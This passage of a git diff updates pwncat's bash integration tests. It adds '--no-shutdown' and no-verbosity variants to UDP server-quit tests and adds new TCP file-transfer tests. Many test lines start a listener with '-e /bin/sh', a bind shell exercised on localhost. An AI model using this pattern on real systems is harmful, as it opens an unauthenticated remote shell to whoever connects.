"${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/104---udp---server_stays---when_client_is_killed---server_command---after_client_sends_command.sh b/tests/integration/02-behaviour-quit--server/104---udp---server_stays---when_client_is_killed---server_command---after_client_sends_command.sh index 30965653..912e154d 100755 --- a/tests/integration/02-behaviour-quit--server/104---udp---server_stays---when_client_is_killed---server_command---after_client_sends_command.sh +++ b/tests/integration/02-behaviour-quit--server/104---udp---server_stays---when_client_is_killed---server_command---after_client_sends_command.sh @@ -158,24 +158,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/200---udp---server_reacc---when_client_is_killed---server_default---after_client_sent_data.sh b/tests/integration/02-behaviour-quit--server/200---udp---server_reacc---when_client_is_killed---server_default---after_client_sent_data.sh index 17ecc816..880c1f50 100755 --- a/tests/integration/02-behaviour-quit--server/200---udp---server_reacc---when_client_is_killed---server_default---after_client_sent_data.sh +++ b/tests/integration/02-behaviour-quit--server/200---udp---server_reacc---when_client_is_killed---server_default---after_client_sent_data.sh @@ -220,24 +220,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh b/tests/integration/02-behaviour-quit--server/201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh index 72288a27..2d069b6f 100755 --- a/tests/integration/02-behaviour-quit--server/201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh +++ b/tests/integration/02-behaviour-quit--server/201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh @@ -220,24 +220,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/03-behaviour-base--file_transfer/000---tcp---client_sends-normal.sh b/tests/integration/03-behaviour-base--file_transfer/000---tcp---client_sends-normal.sh new file mode 100755 index 00000000..b3107526 --- /dev/null +++ b/tests/integration/03-behaviour-base--file_transfer/000---tcp---client_sends-normal.sh @@ -0,0 +1,173 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run "sleep 1" + + ### + ### Create data and files + ### + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/5) Start: Server" + + # Start Server + print_info "Start Server" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/5) Start: Client" + + # Start Client + print_info "Start Client" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "cat /bin/ls" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # Give some time for transfer + run "sleep 10" + + # [CLIENT] Ensure Client has no errors + test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server still has no errors + test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(3/5) Transfer: Client -> Server" + + # [CLIENT -> SERVER] + if ! run "diff /bin/ls ${srv_stdout}"; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_error "Transferred files differ" + print_file "SERVER] - [/dev/stderr" "${srv_stderr}" + print_file "CLIENT] - [/dev/stderr" "${cli_stderr}" + exit 1 + fi + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(4/5) Test: Server shut down automatically" + + # [SERVER] Ensure Server has quit automatically + test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # [SERVER] Ensure Server still has no errors + test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Client shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(5/5) Test: Client shut down automatically" + + # [CLIENT] Ensure Client has quit automatically + test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [CLIENT] Ensure Client has no errors + test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # server opts client opts + # BIND ON ANY + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} " "8" "16" "${curr_round}" "${RUNS}" + + # BIND ON SPECIFIC + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" + + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} " "16" "16" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/03-behaviour-base--file_transfer/001---tcp---client_sends-on_eof.sh b/tests/integration/03-behaviour-base--file_transfer/001---tcp---client_sends-on_eof.sh new file mode 100755 index 00000000..f498d419 --- /dev/null +++ b/tests/integration/03-behaviour-base--file_transfer/001---tcp---client_sends-on_eof.sh @@ -0,0 +1,173 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run 